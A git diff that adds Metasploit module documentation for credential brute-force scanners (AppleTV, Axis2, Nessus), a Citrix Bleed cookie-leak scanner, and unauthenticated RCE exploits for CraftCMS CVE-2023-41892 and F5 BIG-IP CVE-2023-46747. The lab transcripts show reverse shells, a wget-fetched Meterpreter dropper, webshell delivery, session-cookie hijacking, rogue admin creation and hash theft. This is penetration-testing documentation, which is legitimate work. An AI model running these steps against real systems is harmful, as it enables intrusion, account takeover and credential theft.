Vulnerable Application + +This module attempts to authenticate to an AppleTV service with the username, 'AirPlay'. +The device has two different access control modes: OnScreen and Password. +The difference between the two is the password in OnScreen mode is numeric-only and four digits long, +which means when this option is enabled, the module will make sure to cover all of them - from 0000 to 9999. +The Password mode is more complex, therefore the usual online bruteforce strategies apply. + +## Verification Steps +1. Start msfconsole +2. Do: `use auxiliary/scanner/http/appletv_login` +3. Do: set the passwords via the `password` option, or pass a list of passwords via the `pass_file` option. Pass a user list via `user_list`. +4. Do: `run` +5. Hopefully you see something like this: +``` +[+] 127.0.0.1:7000 - Login Successful: admin:adminpassword +``` + +## Options + +### BLANK_PASSWORD + +Set to `true` if an additional login attempt should be made with an empty password for every user. + +### BRUTEFORCE_SPEED + +How fast to bruteforce, from 0 to 5 + +### Onscreen + +Enable if AppleTV is using the Onscreen access control + +### PASSWORD + +A specific password to authenticate with + +### PASS_FILE + +File containing passwords, one per line + +### STOP_ON_SUCCESS + +Stop guessing when a credential works for a host + +### THREADS + +The number of concurrent threads (max one per host) + +### USERPASS_FILE + +File containing users and passwords separated by space, one pair per line + +### USER_FILE + +File containing usernames, one per line + +### VERBOSE + +Whether to print output for all attempts + +### VHOST + +HTTP server virtual host + +## Scenarios +``` +msf > use auxiliary/scanner/http/appletv_login +msf6 auxiliary(scanner/http/appletv_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/appletv_login) > set password N0tpassword! +password => N0tpassword! +msf6 auxiliary(scanner/http/appletv_login) > set userfile ./USERNAMES +userfile => ./USERNAMES +msf6 auxiliary(scanner/http/appletv_login) > options + +Module options (auxiliary/scanner/http/appletv_login): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BLANK_PASSWORDS false no Try blank passwords for all users + BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 + DB_ALL_PASS false no Add all passwords in the current database to the list + Onscreen false no Enable if AppleTV is using the Onscreen access control + PASSWORD no A specific password to authenticate with + PASS_FILE /usr/share/metasploit-framework/data/wordlists/htt no File containing passwords, one per line + p_default_pass.txt + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp + loit.html + RPORT 7000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host + THREADS 1 yes The number of concurrent threads (max one per host) + USERPASS_FILE no File containing users and passwords separated by space, one pair per line + USER_FILE no File containing usernames, one per line + VERBOSE true yes Whether to print output for all attempts + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(scanner/http/appletv_login) > run + +[*] Attempting to login to /stop using password list +[!] 127.0.0.1:7000 - No active DB -- Credential data will not be saved! +[-] 127.0.0.1:7000 - Failed: 'AirPlay:password' +[+] 127.0.0.1:7000 - 127.0.0.1:7000 - Login Successful: WORKSTATION\sa:N0tpassword! +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/appletv_login) > +``` diff --git a/documentation/modules/auxiliary/scanner/http/axis_login.md b/documentation/modules/auxiliary/scanner/http/axis_login.md new file mode 100644 index 0000000000..41a10f3c79 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/axis_login.md @@ -0,0 +1,131 @@ +## Vulnerable Application + +This module attempts to login to an Apache Axis2 instance using username and password +combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. +It has been verified to work on at least versions 1.4.1 and 1.6.2. + +## Verification Steps +1. Start msfconsole +2. Do: `use auxiliary/scanner/http/axis_login` +3. Do: set usernames and passwords via the `username` and `password` options, or pass a list via `user_file` and `pass_file` options +4. Do: `run` +5. Hopefully you see somthing like this: +``` +[+] 127.0.0.1:8080 - Login Successful: axisadmin:4x15pa$$w0rd +``` + +## Options +List each option and how to use it. + +### BLANK_PASSWORDS + +Try blank passwords for all users + +### BLANK_PASSWORD + +Set to `true` if an additional login attempt should be made with an empty password for every user. + +### BRUTEFORCE_SPEED + +How fast to bruteforce, from 0 to 5 + +### DB_ALL_CREDS + +Try each user/password couple stored in the current database + +### DB_ALL_PASS + +Add all passwords in the current database to the list + + +### DB_ALL_USERS + +Add all users in the current database to the list + +### DB_SKIP_EXISTING + +Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + + +### PASSWORD + +A specific password to authenticate with + +### PASS_FILE + +File containing passwords, one per line + +### STOP_ON_SUCCESS + +Stop guessing when a credential works for a host + +### THREADS + +The number of concurrent threads (max one per host) + +### USERPASS_FILE + +File containing users and passwords separated by space, one pair per line + +### USER_FILE + +File containing usernames, one per line + +### VERBOSE + +Whether to print output for all attempts + +### VHOST + +HTTP server virtual host + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +``` +msf > use auxiliary/scanner/http/axis_login +msf6 auxiliary(scanner/http/axis_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/axis_login) > set password N0tpassword! +password => N0tpassword! +msf6 auxiliary(scanner/http/axis_login) > set userfile ./USERNAMES +userfile => ./USERNAMES +msf6 auxiliary(scanner/http/axis_login) > show options + +Module options (auxiliary/scanner/http/axis_login): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BLANK_PASSWORDS false no Try blank passwords for all users + BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 + DB_ALL_CREDS false no Try each user/password couple stored in the current database + DB_ALL_PASS false no Add all passwords in the current database to the list + DB_ALL_USERS false no Add all users in the current database to the list + DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + PASSWORD no A specific password to authenticate with + PASS_FILE no File containing passwords, one per line + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host + TARGETURI /axis2/axis2-admin/login no Path to the Apache Axis Administration page + THREADS 1 yes The number of concurrent threads (max one per host) + USERNAME no A specific username to authenticate as + USERPASS_FILE no File containing users and passwords separated by space, one pair per line + USER_AS_PASS false no Try the username as the password for all users + USER_FILE no File containing usernames, one per line + VERBOSE true yes Whether to print output for all attempts + VHOST no HTTP server virtual host + +View the full module info with the info, or info -d command. + +msf6 auxiliary(scanner/http/axis_login) > run + +[*] Attempting to login to /stop using password list +[!] 127.0.0.1:8080 - No active DB -- Credential data will not be saved! +[-] 127.0.0.1:8080 - Failed: 'AxisRoot:password' +[+] 127.0.0.1:8080 - 127.0.0.1:8080 - Login Successful: WORKSTATION\AxisRoot:N0tpassword! +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/axis_login) > +``` diff --git a/documentation/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.md b/documentation/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.md new file mode 100644 index 0000000000..c65521c1b5 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.md @@ -0,0 +1,50 @@ +## Vulnerable Application + +This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory for a target Citrix +ADC server. The leaked memory is then scanned for session cookies which can be hijacked if found. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +2. Start msfconsole +3. Do: `use auxiliary/scanner/http/citrix_bleed_cve_2023_4966` +4. Do: `set RHOSTS` +5. Do: `run` + +## Options + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Citrix ADC 13.1-48.47 + +NetScaler VPX instance for VMware ESX from `NSVPX-ESX-13.1-48.47_nc_64`. + +``` +msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > show options + +Module options (auxiliary/scanner/http/citrix_bleed_cve_2023_4966): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.159.150 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base path + THREADS 20 yes The number of concurrent threads (max one per host) + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > run + +[+] Cookie: NSC_AAAC=fdac8de9ed76012688b4d33e9d5f74b00c3a0818745525d5f4f58455e445a4a42 Username: metasploit +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > +``` + +Once the cookie has been leaked, load it into the browser using the developer tools. diff --git a/documentation/modules/auxiliary/scanner/nessus/nessus_rest_login.md b/documentation/modules/auxiliary/scanner/nessus/nessus_rest_login.md new file mode 100644 index 0000000000..e9190539a7 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/nessus/nessus_rest_login.md @@ -0,0 +1,92 @@ +## Vulnerable Application + +This module will attempt to authenticate to a Nessus server's RPC interface. + +## Verification Steps +1. Start msfconsole +2. Do: `use auxiliary/scanner/nessus/nessus_rest_login` +3. Do: set usernames and passwords via the `username` and `password` options, or pass a list via `user_file` and `pass_file` options +4. Do: `run` +5. Hopefully you see somthing like this: +``` +[+] 127.0.0.1:8834 - Successful: nessus:4x15pa$$w0rd +``` + +### Installation Steps +This is a summary of installation steps for downloading, installing and running Nessus on Debian. They are as follows: + +1. Go to tenable.com. +2. Download the latest version of nessus. Take note of the version number. +3. Run the following command in the same directory as the .deb file: `dpkg -i Nessus--debian6_amd64.deb` +4. Restart nessus with the `systemctl start nessusd` command. +5. Use your browser to access port 8834 on localhost (https://localhost:8834). + +## Options +### BLANK_PASSWORDS +Try blank passwords for all users + +### BRUTEFORCE_SPEED +How fast to bruteforce, from 0 to 5 + +### DB_ALL_CREDS +Try each user/password couple stored in the current database + +### DB_ALL_PASS +Add all passwords in the current database to the list + +### DB_ALL_USERS +Add all users in the current database to the list + +### DB_SKIP_EXISTING +Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + +### PASSWORD +A specific password to authenticate with + +### PASS_FILE +File containing passwords, one per line + +### STOP_ON_SUCCESS +Stop guessing when a credential works for a host + +### TARGETURI +The path to the Nessus server login API + +### THREADS +The number of concurrent threads (max one per host) + +### USERNAME +A specific username to authenticate as + +### USERPASS_FILE +File containing users and passwords separated by space, one pair per line + +### USER_AS_PASS +Try the username as the password for all users + +### USER_FILE +File containing usernames, one per line + +### VERBOSE +Whether to print output for all attempts + +### VHOST +HTTP server virtual host + +## Scenarios + +``` +msf > use scanner/nessus/nessus_rest_login +msf6 auxiliary(scanner/nessus/nessus_rest_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/nessus/nessus_rest_login) > set password N0tpassword! +password => N0tpassword! +msf6 auxiliary(scanner/nessus/nessus_rest_login) > set username notuser +username => notuser +msf6 auxiliary(scanner/nessus/nessus_rest_login) > run + +[*] Attempting to login to /stop using password list +[+] 127.0.0.1:8834 - Success: 'notuser:N0tpassword'! +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/nessus/nessus_rest_login) > +``` diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.md b/documentation/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.md new file mode 100644 index 0000000000..f88cfef2db --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.md @@ -0,0 +1,93 @@ +## Vulnerable Application + +This module can determine what public keys are configured for key-based authentication across a range of machines, +users, and sets of known keys. The SSH protocol indicates whether a particular key is accepted prior to the client +performing the actual signed authentication request. To use this module, a text file containing one or more SSH keys +should be provided. These can be private or public, so long as no passphrase is set on the private keys. + +If you have loaded a database plugin and connected to a database, this module will record authorized public keys and +hosts so you can track your process. Key files may be a single public (unencrypted) key, or several public keys +concatenated together as an ASCII text file. Non-key data should be silently ignored. Private keys will only utilize +the public key component stored within the key file. + +### Setup + +This module has been tested against Metasploitable2. Installation and setup instructions and additional +information can be found in the Rapid7 documentation here: https://docs.rapid7.com/metasploit/metasploitable-2/ + +## Verification Steps + +1. Have Metasploitable2 running +1. Copy the `msfadmin`'s public key from `/home/msfadmin/.ssh/id_rsa.pub` to your machine +1. Start `msfconsole -q` +1. Do: `use auxiliary/scanner/ssh/ssh_identify_pubkeys` +1. Do: `set rhosts` +1. Do: `set username root` +1. Do: `set key_path` to the copied `id_rsa.pub` file +1. Do: `run` + +## Options + +### KEY_FILE + +Filename of one or several cleartext public keys. + +### SSH_DEBUG + +When enabled, outputs verbose SSH debug messages. + +### SSH_BYPASS + +When enabled, verify that authentication was not bypassed when keys are found. + +### SSH_KEYFILE_B64 + +Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only. + +### KEY_DIR + +Directory of several keys. Filenames must not begin with a dot in order to be read. + +### SSH_TIMEOUT + +The maximum time to negotiate a SSH session. + +## Scenarios + +### Metasploitable22 + +```shell +msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > cat id_rsa.pub +[*] exec: cat id_rsa.pub + +ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable + +msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > options + +Module options (auxiliary/scanner/ssh/ssh_identify_pubkeys): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password + BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 + DB_ALL_USERS false no Add all users in the current database to the list + DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + KEY_FILE id_rsa.pub yes Filename of one or several cleartext public keys. + RHOSTS 192.168.112.178 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 22 yes The target port + STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host + THREADS 1 yes The number of concurrent threads (max one per host) + USERNAME root no A specific username to authenticate as + USER_FILE no File containing usernames, one per line + VERBOSE true yes Whether to print output for all attempts + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > run + +[*] 192.168.112.178:22 SSH - Trying 1 cleartext key per user. +[+] 192.168.112.178:22 - [1/1] - Public key accepted: 'root' with key '57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' (Private Key: No) - msfadmin@metasploitable +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md new file mode 100644 index 0000000000..ed96179805 --- /dev/null +++ b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md @@ -0,0 +1,231 @@ +## Vulnerable Application +This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in CraftCMS which is a popular content management system. +CraftCMS versions between `4.0.0-RC1` - `4.4.14` are affected by this vulnerability allowing attackers to execute arbitrary code remotely, +potentially compromising the security and integrity of the application. + +The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary +PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`. +Using this vulnerability in combination with `The Imagick Extension` and `MSL` which stands for `Magick Scripting Language`, +a full RCE can be achieved. `MSL` is a built-in `ImageMagick` language that facilitates the reading of images, performance of +image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious +PHP code using the `Imagick` constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious +PHP code and gaining access to the system. +Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating +system as the user that the web services are running as (typically `www-data`). + +## Installation +To test this module, you will need a vulnerable CraftCMS application. + +This module has been tested on: +- [ ] `CraftCMS 4.4.14` running on MacOS Docker Desktop based on a `DDEV` deployment. + +### Installation steps to install CraftCMS on MacOS using Desktop Docker and DDEV +* Install [Docker Desktop](https://ddev.readthedocs.io/en/stable/users/install/docker-installation/#macos) on your MacOS distribution. +* Install [DDEV](https://ddev.readthedocs.io/en/stable/users/install/ddev-installation/). +* Install CraftCMS following these [installation steps](https://craftcms.com/docs/getting-started-tutorial/install/). +* NOTE: After step 2 `Scaffold the project from the official starter project`, open composer.json to edit the CraftCMS version and +* set it to `4.4.14` or lower. +* Run `composer update` to downgrade the `CraftCMS` version to a vulnerable version. +* See also these [instructions](https://craftcms.com/knowledge-base/downloading-previous-craft-versions). + +* Continue with step 3 and after completion, you should be able to access your application using your site name (https://mysite.ddev.site) +* To access your application from another host, you need to setup a tunnel otherwise you can only access it from the local machine. +* You can follow these [instructions](https://stackoverflow.com/questions/53371087/access-ddev-web-container-from-other-hosts). + +You are now ready to test the module. + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892` +- [x] `set rhosts ` +- [x] `set rport 443` +- [x] `set lhost ` +- [x] `set target <0=php, 1=Unix Command, 2=Linux Dropper>` +- [x] `exploit` + +you should get a `shell` or `Meterpreter` + + +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info + + Name: Craft CMS unauthenticated Remote Code Execution (RCE) + Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 + Platform: Unix, Linux, PHP + Arch: cmd, php, x64, x86 + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2023-09-13 + +Provided by: + chybeta + h00die-gr3y + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht + ml + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Craft CMS base url + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no The name of the webshell with extension .php. Webshell name will be randomly generated if left unset + . + + + When TARGET is not 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0. + 0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular + content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability + allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity + of the application. + + The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class + which allows to run arbitary PHP code by escalating the object creation calling some methods available in + `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which + stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that + facilitates the reading of images, performance of image processing tasks, and writing of results back + to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the + Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the + malicious PHP code and gaining access to the system. + + Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain + access to the underlying operating system as the user that the web services are running as (typically www-data). + +References: + https://nvd.nist.gov/vuln/detail/CVE-2023-41892 + https://blog.calif.io/p/craftcms-rce + https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ + https://github.com/advisories/GHSA-4w8r-3xrw-v25g + https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892 + + +View the full module info with the info -d command. +``` + +## Options +### WEBSHELL +You can use this option to set the filename of the webshell with extension `.php`, otherwise the name will be randomly generated. + +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. +This option is only available when the target selected is either Unix Command or Linux Dropper. +For the native PHP target, by default the `eval()` function will be used for native PHP code execution. + +## Scenarios +### CraftCMS 4.4.14 on MacOS PHP - php/meterpreter/reverse_tcp +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 192.168.201.25 +[+] Deleted /var/www/html/web/CDfbvAnrZMH.php +[+] Deleted /tmp/php5M63PK +[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:51044) at 2023-12-17 12:31:55 +0000 + +meterpreter > sysinfo +Computer : craftcms-vuln-web +OS : Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > +``` +### CraftCMS 4.4.14 on MacOS Unix Command - cmd/unix/reverse_bash +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1 +target => 1 +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Executing Unix Command for cmd/unix/reverse_bash +[+] Deleted /var/www/html/web/XGCuZFdoia.php +[+] Deleted /tmp/phpakTlmu +[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:51101) at 2023-12-17 12:34:34 +0000 + +uname -a +Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 GNU/Linux +id +uid=501(www-data) gid=20(dialout) groups=20(dialout)``` +### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp +```shell +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2 +target => 2 +msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Using URL: http://192.168.201.8:8080/bzzA52uoIqWP +[*] Client 192.168.201.25 (Wget/1.21) requested /bzzA52uoIqWP +[*] Sending payload to 192.168.201.25 (Wget/1.21) +[*] Sending stage (3045380 bytes) to 192.168.201.25 +[+] Deleted /var/www/html/web/sFQEhvKKcl.php +[+] Deleted /tmp/phpeQPKpy +[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:51122) at 2023-12-17 12:35:54 +0000 +[*] Command Stager progress - 100.00% done (118/118 bytes) +[*] Server stopped. + +meterpreter > sysinfo +Computer : 192.168.16.2 +OS : Debian 11.8 (Linux 6.4.16-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: www-data +meterpreter > +``` +## Limitations +Part of the exploit is the MSL script creation triggered by the Imagick plugin module. These files are created in the directory +set by the `upload_tmp_dir` setting in the `php.ini` file (default `/tmp`). These files are automatically cleaned, but in case of +any failure cleaning these files, do clean them manually otherwise the next exploit session will fail using an outdated MSL file. +These files start with `php` and you can list them with the command `ls php*`. diff --git a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce.md b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md similarity index 93% rename from documentation/modules/exploit/linux/http/f5_bigip_tmui_rce.md rename to documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md index 3308499060..f2b8c12067 100644 --- a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce.md +++ b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md @@ -52,11 +52,11 @@ Defaults to `/tmp`. ### F5 BIG-IP 14.1.2 in VMware Fusion ``` -msf5 > use exploit/linux/http/f5_bigip_tmui_rce +msf5 > use exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf5 exploit(linux/http/f5_bigip_tmui_rce) > options +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > options -Module options (exploit/linux/http/f5_bigip_tmui_rce): +Module options (exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -87,11 +87,11 @@ Exploit target: 1 Linux Dropper -msf5 exploit(linux/http/f5_bigip_tmui_rce) > set rhosts 172.16.249.179 +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set rhosts 172.16.249.179 rhosts => 172.16.249.179 -msf5 exploit(linux/http/f5_bigip_tmui_rce) > set lhost 172.16.249.1 +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(linux/http/f5_bigip_tmui_rce) > run +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > run [*] Started reverse TCP handler on 172.16.249.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md new file mode 100644 index 0000000000..da0bbb6ad7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md @@ -0,0 +1,77 @@ +## Vulnerable Application + +### Description + +This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, +unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to +execute a command payload. Both the exploit and check methods automatically delete any temporary accounts that are +created. + +Tested against the VMware OVA release of 16.1.2.1-0.0.10 and 17.0.0.1-0.0.4. + +### Setup + +Download BIGIP-17.0.0.1-0.0.4.ALL-vmware.ova and import it into your desired virtualization software. + +The target does not need to be licensed to be vulnerable. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747` +4. Set the `RHOST`, `PAYLOAD` and payload-related options +5. Do: `run` +6. You should get a shell. + +## Targets + +### Command + +This executes an OS command on the target device. + +## Options + +## Scenarios + +### F5 BIG-IP 17.0.0.1-0.0.4 + +``` +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set RHOSTS 192.168.159.32 +RHOSTS => 192.168.159.32 +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set LHOST 192.168.159.128 +LHOST => 192.168.159.128 +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check +[+] 192.168.159.32:443 - The target is vulnerable. +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > exploit + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[+] Admin user was created successfully. Credentials: UyPzjB - qu0k7MxIzIDlvS +[+] Retrieved the admin hash: $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5tLI9KSSr8M10 +[*] Obtained login token: 4TAZKYHLZCHPQX3FC47VWNSEUA +[*] Sending stage (24768 bytes) to 192.168.159.32 +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.32:35438) at 2023-11-01 16:36:04 -0400 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : f5test2.home.lan +OS : Linux 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Thu Jul 14 23:41:24 PDT 2022 +Architecture : x64 +Meterpreter : python/linux +meterpreter > pwd +/var/service/restjavad +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format cracked_password +---- ------ ------- ------ ------- ----- ------------ ---------- ---------------- +192.168.159.32 192.168.159.32 443/tcp (F5 BIG-IP TMUI) admin 